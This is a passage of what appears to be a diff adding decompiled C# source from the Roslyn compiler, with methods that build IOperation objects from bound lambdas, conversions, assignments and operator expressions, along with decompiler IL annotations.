immutableArray, ImmutableArray.Empty, ImmutableArray.Empty, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IOperation CreateUnboundLambdaOperation(UnboundLambda unboundLambda) + { + BoundLambda boundNode = unboundLambda.BindForErrorRecovery(); + return Create(boundNode); + } + + private IAnonymousFunctionOperation CreateBoundLambdaOperation(BoundLambda boundLambda) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Expected O, but got Unknown + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Expected O, but got Unknown + IMethodSymbol? publicSymbol = boundLambda.Symbol.GetPublicSymbol(); + IBlockOperation val = (IBlockOperation)Create(boundLambda.Body); + SyntaxNode syntax = boundLambda.Syntax; + bool wasCompilerGenerated = boundLambda.WasCompilerGenerated; + return (IAnonymousFunctionOperation)new AnonymousFunctionOperation(publicSymbol, val, _semanticModel, syntax, wasCompilerGenerated); + } + + private ILocalFunctionOperation CreateBoundLocalFunctionStatementOperation(BoundLocalFunctionStatement boundLocalFunctionStatement) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Expected O, but got Unknown + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + IBlockOperation val = (IBlockOperation)Create(boundLocalFunctionStatement.Body); + object obj; + if (boundLocalFunctionStatement != null && boundLocalFunctionStatement.BlockBody != null) + { + BoundBlock expressionBody = boundLocalFunctionStatement.ExpressionBody; + if (expressionBody != null) + { + obj = (object)(IBlockOperation)Create(expressionBody); + goto IL_0036; + } + } + obj = null; + goto IL_0036; + IL_0036: + IBlockOperation val2 = (IBlockOperation)obj; + IMethodSymbol? publicSymbol = boundLocalFunctionStatement.Symbol.GetPublicSymbol(); + SyntaxNode syntax = boundLocalFunctionStatement.Syntax; + bool wasCompilerGenerated = boundLocalFunctionStatement.WasCompilerGenerated; + return (ILocalFunctionOperation)new LocalFunctionOperation(publicSymbol, val, val2, _semanticModel, syntax, wasCompilerGenerated); + } + + private IOperation CreateBoundConversionOperation(BoundConversion boundConversion, bool forceOperandImplicitLiteral = false) + { + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected O, but got Unknown + //IL_01e3: Unknown result type (might be due to invalid IL or missing references) + //IL_01e9: Expected O, but got Unknown + //IL_0261: Unknown result type (might be due to invalid IL or missing references) + //IL_0267: Expected O, but got Unknown + bool flag = boundConversion.WasCompilerGenerated || !boundConversion.ExplicitCastInCode || forceOperandImplicitLiteral; + BoundExpression operand = boundConversion.Operand; + if (boundConversion.ConversionKind == ConversionKind.InterpolatedStringHandler) + { + return (IOperation)(object)CreateInterpolatedStringHandler(boundConversion); + } + if (boundConversion.ConversionKind == ConversionKind.MethodGroup) + { + SyntaxNode syntax = boundConversion.Syntax; + ITypeSymbol publicTypeSymbol = boundConversion.GetPublicTypeSymbol(); + if (!(boundConversion.Type is FunctionPointerTypeSymbol)) + { + IOperation val = CreateDelegateTargetOperation(boundConversion); + flag = flag || (val.Syntax == syntax && !val.IsImplicit); + return (IOperation)new DelegateCreationOperation(val, _semanticModel, syntax, publicTypeSymbol, flag); + } + return (IOperation)new AddressOfOperation((IOperation)(object)CreateBoundMethodGroupSingleMethodOperation((BoundMethodGroup)boundConversion.Operand, boundConversion.SymbolOpt, suppressVirtualCalls: false), _semanticModel, syntax, publicTypeSymbol, boundConversion.WasCompilerGenerated); + } + SyntaxNode syntax2 = boundConversion.Syntax; + if (syntax2.IsMissing) + { + return Create(operand); + } + BoundConversion boundConversion2 = boundConversion; + Conversion conversion = boundConversion.Conversion; + if (operand.Syntax == boundConversion.Syntax) + { + if (operand.Kind == BoundKind.ConvertedTupleLiteral && TypeSymbol.Equals(operand.Type, boundConversion.Type, (TypeCompareKind)0)) + { + return Create(operand); + } + flag = true; + } + if (boundConversion.ExplicitCastInCode && conversion.IsIdentity && operand.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion3 = (BoundConversion)operand; + BoundExpression operand2 = boundConversion3.Operand; + if (boundConversion3.Syntax == operand2.Syntax && boundConversion3.ExplicitCastInCode && operand2.Kind == BoundKind.ConvertedTupleLiteral && !TypeSymbol.Equals(boundConversion3.Type, operand2.Type, (TypeCompareKind)0)) + { + conversion = boundConversion3.Conversion; + boundConversion2 = boundConversion3; + } + } + ITypeSymbol publicTypeSymbol2 = boundConversion.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundConversion.ConstantValueOpt; + if ((operand.Kind == BoundKind.Lambda || operand.Kind == BoundKind.UnboundLambda || operand.Kind == BoundKind.MethodGroup) && boundConversion.Type.IsDelegateType()) + { + return (IOperation)new DelegateCreationOperation(CreateDelegateTargetOperation(boundConversion2), _semanticModel, syntax2, publicTypeSymbol2, flag); + } + bool flag2 = false; + bool flag3 = boundConversion.Checked && (conversion.IsNumeric || ((object)boundConversion.SymbolOpt != null && SyntaxFacts.IsCheckedOperator(boundConversion.SymbolOpt.Name))); + IOperation obj; + if (!forceOperandImplicitLiteral) + { + obj = Create(boundConversion2.Operand); + } + else + { + IOperation val2 = (IOperation)(object)CreateBoundLiteralOperation((BoundLiteral)boundConversion2.Operand, @implicit: true); + obj = val2; + } + return (IOperation)new ConversionOperation(obj, (IConvertibleConversion)(object)conversion, flag2, flag3, _semanticModel, syntax2, publicTypeSymbol2, constantValueOpt, flag); + } + + private IConversionOperation CreateBoundAsOperatorOperation(BoundAsOperator boundAsOperator) + { + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Expected O, but got Unknown + IOperation? obj = Create(boundAsOperator.Operand); + SyntaxNode syntax = boundAsOperator.Syntax; + Conversion conversion = BoundNode.GetConversion(boundAsOperator.OperandConversion, boundAsOperator.OperandPlaceholder); + bool flag = true; + bool flag2 = false; + ITypeSymbol publicTypeSymbol = boundAsOperator.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundAsOperator.WasCompilerGenerated; + return (IConversionOperation)new ConversionOperation(obj, (IConvertibleConversion)(object)conversion, flag, flag2, _semanticModel, syntax, publicTypeSymbol, (ConstantValue)null, wasCompilerGenerated); + } + + private IDelegateCreationOperation CreateBoundDelegateCreationExpressionOperation(BoundDelegateCreationExpression boundDelegateCreationExpression) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Expected O, but got Unknown + IOperation obj = CreateDelegateTargetOperation(boundDelegateCreationExpression); + SyntaxNode syntax = boundDelegateCreationExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundDelegateCreationExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundDelegateCreationExpression.WasCompilerGenerated; + return (IDelegateCreationOperation)new DelegateCreationOperation(obj, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IMethodReferenceOperation CreateBoundMethodGroupSingleMethodOperation(BoundMethodGroup boundMethodGroup, MethodSymbol methodSymbol, bool suppressVirtualCalls) + { + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Expected O, but got Unknown + TypeParameterSymbol constrainedToType = GetConstrainedToType(methodSymbol, boundMethodGroup.ReceiverOpt); + bool flag = (object)constrainedToType != null || ((methodSymbol.IsAbstract || methodSymbol.IsOverride || methodSymbol.IsVirtual) && !suppressVirtualCalls); + IOperation val = CreateReceiverOperation(boundMethodGroup.ReceiverOpt, methodSymbol); + SyntaxNode syntax = boundMethodGroup.Syntax; + ITypeSymbol val2 = null; + bool wasCompilerGenerated = boundMethodGroup.WasCompilerGenerated; + return (IMethodReferenceOperation)new MethodReferenceOperation(methodSymbol.GetPublicSymbol(), (ITypeSymbol)(object)constrainedToType.GetPublicSymbol(), flag, val, _semanticModel, syntax, val2, wasCompilerGenerated); + } + + private IIsTypeOperation CreateBoundIsOperatorOperation(BoundIsOperator boundIsOperator) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Expected O, but got Unknown + IOperation? obj = Create(boundIsOperator.Operand); + ITypeSymbol publicTypeSymbol = boundIsOperator.TargetType.GetPublicTypeSymbol(); + SyntaxNode syntax = boundIsOperator.Syntax; + ITypeSymbol publicTypeSymbol2 = boundIsOperator.GetPublicTypeSymbol(); + bool flag = false; + bool wasCompilerGenerated = boundIsOperator.WasCompilerGenerated; + return (IIsTypeOperation)new IsTypeOperation(obj, publicTypeSymbol, flag, _semanticModel, syntax, publicTypeSymbol2, wasCompilerGenerated); + } + + private ISizeOfOperation CreateBoundSizeOfOperatorOperation(BoundSizeOfOperator boundSizeOfOperator) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ITypeSymbol? publicTypeSymbol = boundSizeOfOperator.SourceType.GetPublicTypeSymbol(); + SyntaxNode syntax = boundSizeOfOperator.Syntax; + ITypeSymbol publicTypeSymbol2 = boundSizeOfOperator.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundSizeOfOperator.ConstantValueOpt; + bool wasCompilerGenerated = boundSizeOfOperator.WasCompilerGenerated; + return (ISizeOfOperation)new SizeOfOperation(publicTypeSymbol, _semanticModel, syntax, publicTypeSymbol2, constantValueOpt, wasCompilerGenerated); + } + + private ITypeOfOperation CreateBoundTypeOfOperatorOperation(BoundTypeOfOperator boundTypeOfOperator) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Expected O, but got Unknown + ITypeSymbol? publicTypeSymbol = boundTypeOfOperator.SourceType.GetPublicTypeSymbol(); + SyntaxNode syntax = boundTypeOfOperator.Syntax; + ITypeSymbol publicTypeSymbol2 = boundTypeOfOperator.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundTypeOfOperator.WasCompilerGenerated; + return (ITypeOfOperation)new TypeOfOperation(publicTypeSymbol, _semanticModel, syntax, publicTypeSymbol2, wasCompilerGenerated); + } + + private IArrayCreationOperation CreateBoundArrayCreationOperation(BoundArrayCreation boundArrayCreation) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + ImmutableArray immutableArray = this.CreateFromArray(boundArrayCreation.Bounds); + IArrayInitializerOperation val = (IArrayInitializerOperation)Create(boundArrayCreation.InitializerOpt); + SyntaxNode syntax = boundArrayCreation.Syntax; + ITypeSymbol publicTypeSymbol = boundArrayCreation.GetPublicTypeSymbol(); + bool flag = boundArrayCreation.WasCompilerGenerated || (boundArrayCreation.InitializerOpt?.Syntax == syntax && !boundArrayCreation.InitializerOpt.WasCompilerGenerated); + return (IArrayCreationOperation)new ArrayCreationOperation(immutableArray, val, _semanticModel, syntax, publicTypeSymbol, flag); + } + + private IArrayInitializerOperation CreateBoundArrayInitializationOperation(BoundArrayInitialization boundArrayInitialization) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Expected O, but got Unknown + ImmutableArray immutableArray = this.CreateFromArray(boundArrayInitialization.Initializers); + SyntaxNode syntax = boundArrayInitialization.Syntax; + bool wasCompilerGenerated = boundArrayInitialization.WasCompilerGenerated; + return (IArrayInitializerOperation)new ArrayInitializerOperation(immutableArray, _semanticModel, syntax, wasCompilerGenerated); + } + + private IOperation CreateBoundCollectionExpression(BoundCollectionExpression boundCollectionExpression) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + ImmutableArray immutableArray = createChildren(boundCollectionExpression.Elements); + SyntaxNode syntax = boundCollectionExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundCollectionExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundCollectionExpression.WasCompilerGenerated; + return (IOperation)new NoneOperation(immutableArray, _semanticModel, syntax, publicTypeSymbol, (ConstantValue)null, wasCompilerGenerated); + IOperation? createChild(BoundExpression expression) + { + BoundExpression boundExpression = ((!(expression is BoundCollectionElementInitializer boundCollectionElementInitializer)) ? expression : boundCollectionElementInitializer.Arguments.First()); + BoundExpression boundNode = boundExpression; + return Create(boundNode); + } + ImmutableArray createChildren(ImmutableArray elements) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(elements.Length); + ImmutableArray.Enumerator enumerator = elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + IOperation val = createChild(current); + if (val != null) + { + instance.Add(val); + } + } + return instance.ToImmutableAndFree(); + } + } + + private IOperation CreateBoundCollectionExpressionSpreadElement(BoundCollectionExpressionSpreadElement boundSpreadExpression) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Expected O, but got Unknown + SyntaxNode syntax = boundSpreadExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundSpreadExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundSpreadExpression.WasCompilerGenerated; + return (IOperation)new NoneOperation(ImmutableArray.Create(Create(boundSpreadExpression.Expression)), _semanticModel, syntax, publicTypeSymbol, (ConstantValue)null, wasCompilerGenerated); + } + + private IDefaultValueOperation CreateBoundDefaultLiteralOperation(BoundDefaultLiteral boundDefaultLiteral) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + SyntaxNode syntax = boundDefaultLiteral.Syntax; + ConstantValue constantValueOpt = boundDefaultLiteral.ConstantValueOpt; + bool wasCompilerGenerated = boundDefaultLiteral.WasCompilerGenerated; + return (IDefaultValueOperation)new DefaultValueOperation(_semanticModel, syntax, (ITypeSymbol)null, constantValueOpt, wasCompilerGenerated); + } + + private IDefaultValueOperation CreateBoundDefaultExpressionOperation(BoundDefaultExpression boundDefaultExpression) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Expected O, but got Unknown + SyntaxNode syntax = boundDefaultExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundDefaultExpression.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundDefaultExpression.ConstantValueOpt; + bool wasCompilerGenerated = boundDefaultExpression.WasCompilerGenerated; + return (IDefaultValueOperation)new DefaultValueOperation(_semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + private IInstanceReferenceOperation CreateBoundBaseReferenceOperation(BoundBaseReference boundBaseReference) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + SyntaxNode syntax = boundBaseReference.Syntax; + ITypeSymbol publicTypeSymbol = boundBaseReference.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundBaseReference.WasCompilerGenerated; + return (IInstanceReferenceOperation)new InstanceReferenceOperation((InstanceReferenceKind)0, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IInstanceReferenceOperation CreateBoundThisReferenceOperation(BoundThisReference boundThisReference) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + SyntaxNode syntax = boundThisReference.Syntax; + ITypeSymbol publicTypeSymbol = boundThisReference.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundThisReference.WasCompilerGenerated; + return (IInstanceReferenceOperation)new InstanceReferenceOperation((InstanceReferenceKind)0, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IOperation CreateBoundAssignmentOperatorOrMemberInitializerOperation(BoundAssignmentOperator boundAssignmentOperator) + { + if (!IsMemberInitializer(boundAssignmentOperator)) + { + return (IOperation)(object)CreateBoundAssignmentOperatorOperation(boundAssignmentOperator); + } + return (IOperation)(object)CreateBoundMemberInitializerOperation(boundAssignmentOperator); + } + + private static bool IsMemberInitializer(BoundAssignmentOperator boundAssignmentOperator) + { + BoundExpression right = boundAssignmentOperator.Right; + if (right == null || right.Kind != BoundKind.ObjectInitializerExpression) + { + BoundExpression right2 = boundAssignmentOperator.Right; + if (right2 == null) + { + return false; + } + return right2.Kind == BoundKind.CollectionInitializerExpression; + } + return true; + } + + private ISimpleAssignmentOperation CreateBoundAssignmentOperatorOperation(BoundAssignmentOperator boundAssignmentOperator) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + IOperation val = Create(boundAssignmentOperator.Left); + IOperation val2 = Create(boundAssignmentOperator.Right); + bool isRef = boundAssignmentOperator.IsRef; + SyntaxNode syntax = boundAssignmentOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundAssignmentOperator.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundAssignmentOperator.ConstantValueOpt; + bool wasCompilerGenerated = boundAssignmentOperator.WasCompilerGenerated; + return (ISimpleAssignmentOperation)new SimpleAssignmentOperation(isRef, val, val2, _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + private IMemberInitializerOperation CreateBoundMemberInitializerOperation(BoundAssignmentOperator boundAssignmentOperator) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Expected O, but got Unknown + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected O, but got Unknown + IOperation obj = CreateMemberInitializerInitializedMember(boundAssignmentOperator.Left); + IObjectOrCollectionInitializerOperation val = (IObjectOrCollectionInitializerOperation)Create(boundAssignmentOperator.Right); + SyntaxNode syntax = boundAssignmentOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundAssignmentOperator.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundAssignmentOperator.WasCompilerGenerated; + return (IMemberInitializerOperation)new MemberInitializerOperation(obj, val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private ICompoundAssignmentOperation CreateBoundCompoundAssignmentOperatorOperation(BoundCompoundAssignmentOperator boundCompoundAssignmentOperator) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Expected O, but got Unknown + IOperation val = Create(boundCompoundAssignmentOperator.Left); + IOperation val2 = Create(boundCompoundAssignmentOperator.Right); + BinaryOperatorKind val3 = Helper.DeriveBinaryOperatorKind(boundCompoundAssignmentOperator.Operator.Kind); + Conversion conversion = BoundNode.GetConversion(boundCompoundAssignmentOperator.LeftConversion, boundCompoundAssignmentOperator.LeftPlaceholder); + Conversion conversion2 = BoundNode.GetConversion(boundCompoundAssignmentOperator.FinalConversion, boundCompoundAssignmentOperator.FinalPlaceholder); + bool flag = boundCompoundAssignmentOperator.Operator.Kind.IsLifted(); + MethodSymbol method = boundCompoundAssignmentOperator.Operator.Method; + bool flag2 = boundCompoundAssignmentOperator.Operator.Kind.IsChecked() || ((object)method != null && SyntaxFacts.IsCheckedOperator(method.Name)); + IMethodSymbol publicSymbol = method.GetPublicSymbol(); + SyntaxNode syntax = boundCompoundAssignmentOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundCompoundAssignmentOperator.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundCompoundAssignmentOperator.WasCompilerGenerated; + return (ICompoundAssignmentOperation)new CompoundAssignmentOperation((IConvertibleConversion)(object)conversion, (IConvertibleConversion)(object)conversion2, val3, flag, flag2, publicSymbol, (ITypeSymbol)(object)GetConstrainedToTypeForOperator(method, boundCompoundAssignmentOperator.Operator.ConstrainedToTypeOpt).GetPublicSymbol(), val, val2, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private static TypeParameterSymbol? GetConstrainedToTypeForOperator(MethodSymbol? operatorMethod, TypeSymbol? constrainedToTypeOpt) + { + if ((object)operatorMethod != null && operatorMethod.IsStatic && (operatorMethod.IsAbstract || operatorMethod.IsVirtual) && constrainedToTypeOpt is TypeParameterSymbol result) + { + return result; + } + return null; + } + + private IIncrementOrDecrementOperation CreateBoundIncrementOperatorOperation(BoundIncrementOperator boundIncrementOperator) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Expected O, but got Unknown + OperationKind val = (OperationKind)(Helper.IsDecrement(boundIncrementOperator.OperatorKind) ? 68 : 66); + bool num = Helper.IsPostfixIncrementOrDecrement(boundIncrementOperator.OperatorKind); + bool flag = boundIncrementOperator.OperatorKind.IsLifted(); + bool flag2 = boundIncrementOperator.OperatorKind.IsChecked() || ((object)boundIncrementOperator.MethodOpt != null && SyntaxFacts.IsCheckedOperator(boundIncrementOperator.MethodOpt.Name)); + IOperation val2 = Create(boundIncrementOperator.Operand); + IMethodSymbol publicSymbol = boundIncrementOperator.MethodOpt.GetPublicSymbol(); + SyntaxNode syntax = boundIncrementOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundIncrementOperator.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundIncrementOperator.WasCompilerGenerated; + return (IIncrementOrDecrementOperation)new IncrementOrDecrementOperation(num, flag, flag2, val2, publicSymbol, (ITypeSymbol)(object)GetConstrainedToTypeForOperator(boundIncrementOperator.MethodOpt, boundIncrementOperator.ConstrainedToTypeOpt).GetPublicSymbol(), val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IInvalidOperation CreateBoundBadExpressionOperation(BoundBadExpression boundBadExpression) + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + SyntaxNode syntax = boundBadExpression.Syntax; + ITypeSymbol val = (syntax.IsMissing ? null : boundBadExpression.GetPublicTypeSymbol()); + bool flag = boundBadExpression.WasCompilerGenerated || ImmutableArrayExtensions.Any(boundBadExpression.ChildBoundNodes, (Func)((BoundExpression e, BoundBadExpression boundBadExpression2) => e?.Syntax == boundBadExpression2.Syntax), boundBadExpression); + return (IInvalidOperation)new InvalidOperation(this.CreateFromArray(boundBadExpression.ChildBoundNodes), _semanticModel, syntax, val, (ConstantValue)null, flag); + } + + private ITypeParameterObjectCreationOperation CreateBoundNewTOperation(BoundNewT boundNewT) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Expected O, but got Unknown + IObjectOrCollectionInitializerOperation val = (IObjectOrCollectionInitializerOperation)Create(boundNewT.InitializerExpressionOpt); + SyntaxNode syntax = boundNewT.Syntax; + ITypeSymbol publicTypeSymbol = boundNewT.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundNewT.WasCompilerGenerated; + return (ITypeParameterObjectCreationOperation)new TypeParameterObjectCreationOperation(val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private INoPiaObjectCreationOperation CreateNoPiaObjectCreationExpressionOperation(BoundNoPiaObjectCreationExpression creation) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Expected O, but got Unknown + IObjectOrCollectionInitializerOperation val = (IObjectOrCollectionInitializerOperation)Create(creation.InitializerExpressionOpt); + SyntaxNode syntax = creation.Syntax; + ITypeSymbol publicTypeSymbol = creation.GetPublicTypeSymbol(); + bool wasCompilerGenerated = creation.WasCompilerGenerated; + return (INoPiaObjectCreationOperation)new NoPiaObjectCreationOperation(val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IUnaryOperation CreateBoundUnaryOperatorOperation(BoundUnaryOperator boundUnaryOperator) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Expected O, but got Unknown + UnaryOperatorKind val = Helper.DeriveUnaryOperatorKind(boundUnaryOperator.OperatorKind); + IOperation val2 = Create(boundUnaryOperator.Operand); + IMethodSymbol publicSymbol = boundUnaryOperator.MethodOpt.GetPublicSymbol(); + SyntaxNode syntax = boundUnaryOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundUnaryOperator.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundUnaryOperator.ConstantValueOpt; + bool flag = boundUnaryOperator.OperatorKind.IsLifted(); + bool flag2 = boundUnaryOperator.OperatorKind.IsChecked() || ((object)boundUnaryOperator.MethodOpt != null && SyntaxFacts.IsCheckedOperator(boundUnaryOperator.MethodOpt.Name)); + bool wasCompilerGenerated = boundUnaryOperator.WasCompilerGenerated; + return (IUnaryOperation)new UnaryOperation(val, val2, flag, flag2, publicSymbol, (ITypeSymbol)(object)GetConstrainedToTypeForOperator(boundUnaryOperator.MethodOpt, boundUnaryOperator.ConstrainedToTypeOpt).GetPublicSymbol(), _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + private IOperation CreateBoundBinaryOperatorBase(BoundBinaryOperatorBase boundBinaryOperatorBase) + { + if (boundBinaryOperatorBase is BoundBinaryOperator { InterpolatedStringHandlerData: not null } boundBinaryOperator) + { + return CreateBoundInterpolatedStringBinaryOperator(boundBinaryOperator); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BoundBinaryOperatorBase boundBinaryOperatorBase2 = boundBinaryOperatorBase; + do + { + ArrayBuilderExtensions.Push(instance, boundBinaryOperatorBase2); + boundBinaryOperatorBase2 = boundBinaryOperatorBase2.Left as BoundBinaryOperatorBase; + } + while ((boundBinaryOperatorBase2 != null && !(boundBinaryOperatorBase2 is BoundBinaryOperator { InterpolatedStringHandlerData: not null })) ? true : false); + IOperation val = null; + IBinaryOperation val2 = default(IBinaryOperation); + while (ArrayBuilderExtensions.TryPop(instance, ref boundBinaryOperatorBase2)) + { + if (val == null) + { + val = Create(boundBinaryOperatorBase2.Left); + } + IOperation right = Create(boundBinaryOperatorBase2.Right); + if (!(boundBinaryOperatorBase2 is BoundBinaryOperator boundBinaryOperator3)) + { + if (!(boundBinaryOperatorBase2 is BoundUserDefinedConditionalLogicalOperator boundBinaryOperator4)) + { + if (boundBinaryOperatorBase2 != null) + { + BoundKind kind = boundBinaryOperatorBase2.Kind; + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + global::_003CPrivateImplementationDetails_003E.ThrowInvalidOperationException(); + } + else + { + val2 = createBoundUserDefinedConditionalLogicalOperator(boundBinaryOperator4, val, right); + } + } + else + { + val2 = CreateBoundBinaryOperatorOperation(boundBinaryOperator3, val, right); + } + val = (IOperation)(object)val2; + } + instance.Free(); + return val; + IBinaryOperation createBoundUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator boundUserDefinedConditionalLogicalOperator, IOperation left, IOperation val5) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Expected O, but got Unknown + BinaryOperatorKind val3 = Helper.DeriveBinaryOperatorKind(boundUserDefinedConditionalLogicalOperator.OperatorKind); + IMethodSymbol publicSymbol = boundUserDefinedConditionalLogicalOperator.LogicalOperator.GetPublicSymbol(); + IMethodSymbol val4 = ((boundUserDefinedConditionalLogicalOperator.OperatorKind.Operator() == BinaryOperatorKind.And) ? boundUserDefinedConditionalLogicalOperator.FalseOperator.GetPublicSymbol() : boundUserDefinedConditionalLogicalOperator.TrueOperator.GetPublicSymbol()); + SyntaxNode syntax = boundUserDefinedConditionalLogicalOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundUserDefinedConditionalLogicalOperator.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundUserDefinedConditionalLogicalOperator.ConstantValueOpt; + bool flag = boundUserDefinedConditionalLogicalOperator.OperatorKind.IsLifted(); + bool flag2 = boundUserDefinedConditionalLogicalOperator.OperatorKind.IsChecked(); + bool flag3 = false; + bool wasCompilerGenerated = boundUserDefinedConditionalLogicalOperator.WasCompilerGenerated; + TypeSymbol symbol = GetConstrainedToTypeForOperator(boundUserDefinedConditionalLogicalOperator.LogicalOperator, boundUserDefinedConditionalLogicalOperator.ConstrainedToTypeOpt) ?? GetConstrainedToTypeForOperator((boundUserDefinedConditionalLogicalOperator.OperatorKind.Operator() == BinaryOperatorKind.And) ? boundUserDefinedConditionalLogicalOperator.FalseOperator : boundUserDefinedConditionalLogicalOperator.TrueOperator, boundUserDefinedConditionalLogicalOperator.ConstrainedToTypeOpt); + return (IBinaryOperation)new BinaryOperation(val3, left, val5, flag, flag2, flag3, publicSymbol, symbol.GetPublicSymbol(), val4, _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + } + + private IBinaryOperation CreateBoundBinaryOperatorOperation(BoundBinaryOperator boundBinaryOperator, IOperation left, IOperation right) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Expected O, but got Unknown + BinaryOperatorKind val = Helper.DeriveBinaryOperatorKind(boundBinaryOperator.OperatorKind); + IMethodSymbol val2 = boundBinaryOperator.Method.GetPublicSymbol(); + IMethodSymbol val3 = null; + if (boundBinaryOperator.Type.IsDynamic() && ((int)val == 13 || (int)val == 14) && val2 != null && val2.Parameters.Length == 1) + { + val3 = val2; + val2 = null; + } + SyntaxNode syntax = boundBinaryOperator.Syntax; + ITypeSymbol publicTypeSymbol = boundBinaryOperator.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = 